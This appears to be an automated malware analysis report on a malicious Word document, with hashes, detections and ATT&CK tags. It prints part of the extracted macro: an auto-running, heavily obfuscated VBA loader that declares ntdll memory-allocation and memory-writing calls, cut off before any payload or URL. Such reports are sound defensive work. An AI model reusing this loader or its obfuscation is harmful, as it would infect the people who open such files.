Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 36060d315c142c77…

MALICIOUS

Office (OLE)

170.5 KB Created: 2017-12-19 15:06:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 87e8ff31d6c9fb133a9704230bf4a0dd SHA-1: 8dfa138e770a24a7d3668e72804765635cf5c4a3 SHA-256: 36060d315c142c7711d26552d30b327c51cdf12fc8d7047ea24cda8b47b2cf40
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Macro-6539595-0, indicating it's a macro-based downloader. The presence of a Document_Open macro and embedded VBA code confirms the use of macros for execution. The VBA script likely attempts to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 4

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11677 bytes
SHA-256: e4c5ad01c1b11974943e4fcb6f44e00e660b8fba2acacfe87f37a28b2192993b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True




Private Sub Document_Open()
Dim distract As Integer
Dim afterbirth As Long
alps = "pellucid"
formally = "corrival"
minim
sweetscented = 9 + 1
 Pmt 0, sweetscented, 12444, 28123, 4
End Sub



Attribute VB_Name = "boston"
'  Jingle around the clock
'  To rock the night away
#If (102 - 22 + 320 + 20 - 105 + 385) > ((33 - 39 + 326) - (20 - 61 + 581) * 1) And ((20 - 1 + 9) - (75 - 27 - 20)) * 2 < (Win64) Then
'  Snowing and blowing up bushels of fun
'  Jingle bell time is a swell time
Public Declare PtrSafe Function ultraviolet _
Lib "Ntdll   " Alias _
"NtAllocateVirtualMemory" (electromyography As LongPtr, fadge As LongPtr, ByVal jument As LongPtr, meanestByVal As LongPtr, airworthy As LongPtr, ByVal adv As LongPtr) As LongPtr
'  Giddy-up jingle horse, pick up your feet
'  Jingle bell time is a swell time
#ElseIf (120 - 36 + 316 + 67 - 40 + 273) > ((10 - 122 + 432) - (109 - 59 + 490) * 1) And Not ((24 - 3 + 7) - (93 - 43 - 22)) * 2 < (Win64) Then
'  To go gliding in a one-horse sleigh
'  Thats the jingle bell rock.
Public Declare Function ultraviolet _
Lib "Ntdll   " _
Alias "NtAllocateVirtualMemory" (nonarbitrable As Long, slubber As Long, ByVal unerringly As Long,abranchiateByVal As Long, rollickingly As Long, ByVal clarence As Long) As Long
'  Thats the jingle bell,
'  Jingle bells chime in jingle bell time
#End If
Function bottom(achiever, chamaeleontidae, connubial)
#If (15 - 53 + 438 + 74 - 60 + 286) > ((51 - 86 + 355) - (43 - 45 + 542) * 1) And ((75 - 111 + 64) - (88 - 102 + 42)) * 2 < (Win64) Then
Dim practitioner As LongPtr
Dim blacken As LongPtr
Dim grazing As LongPtr
Dim biscuits As LongPtr
Dim mortuary As LongPtr
#ElseIf (78 - 60 + 382 + 110 - 117 + 307) > ((81 - 80 + 319) - (13 - 87 + 614) * 1) And Not ((112 - 23 - 61) - (98 - 12 - 58)) * 2 < (Win64) Then
Dim blacken As Long
Dim practitioner As Long
Dim biscuits As Long
Dim grazing As Long
Dim mortuary As Long
#End If
blacken = achiever
mortuary = connubial
biscuits = chamaeleontidae
practitioner = 113 - 60 - 54
frond ByVal practitioner, blacken, biscuits, mortuary, grazing
bushtit = bushtit
End Function


Function efficaciously()
Dim bracteole(255) As Byte
ballyhoo = 90 - 57 + 32
While ballyhoo <= 90 + 1
bracteole(ballyhoo) = ballyhoo - 65
ballyhoo = ballyhoo + 1
Wend
ballyhoo = 40 + 8
While ballyhoo <= 50 + 8
bracteole(ballyhoo) = ballyhoo + 4
ballyhoo = ballyhoo + 1
Wend
ballyhoo = 90 + 7
While ballyhoo <= 120 + 3
bracteole(ballyhoo) = ballyhoo - 71
ballyhoo = ballyhoo + 1
Wend
bracteole(47) = 60 + 3
ballyhoo = 40 + 3
bracteole(ballyhoo) = 60 + 2
efficaciously = bracteole
End Function



Attribute VB_Name = "celerity"
Function abomasum(lenitive, telegnostic, twicetold)
Select Case twicetold
Case 12 + (10 / 2 - 5)
abomasum = lenitive \ telegnostic
Case 22 + (5 - 3) / 2 - 1
abomasum = lenitive And telegnostic
Case 30 + (56 / 7 - 4 * 2)
abomasum = lenitive * telegnostic
End Select
End Function
Function methotrexate(liechtenstein)
methotrexate = AscW(liechtenstein)
End Function


Attribute VB_Name = "canada"
'  Jingle around the clock
'  To rock the night away
#If (102 - 22 + 320 + 20 - 105 + 385) > ((33 - 39 + 326) - (20 - 61 + 581) * 1) And ((20 - 1 + 9) - (75 - 27 - 20)) * 2 < (Win64) Then
'  Snowing and blowing up bushels of fun
'  Jingle bell time is a swell time
Public Declare PtrSafe Function frond _
Lib "Ntdll   " Alias _
"NtWriteVirtualMemory" (ByVal padding As Any, ByVal counterculture As Any, ByVal cargador As Any, ByVal neutron As Any, ByVal batting As Any) As LongPtr
'  Dancing and prancing in Jingle Bell Square
'  To rock the night away
'  Jingle around the clock
'  Jingle bell time is a swell time
#ElseIf (120 - 36 + 316 + 67 - 40 + 273) > ((10 - 122 + 432)
... (truncated)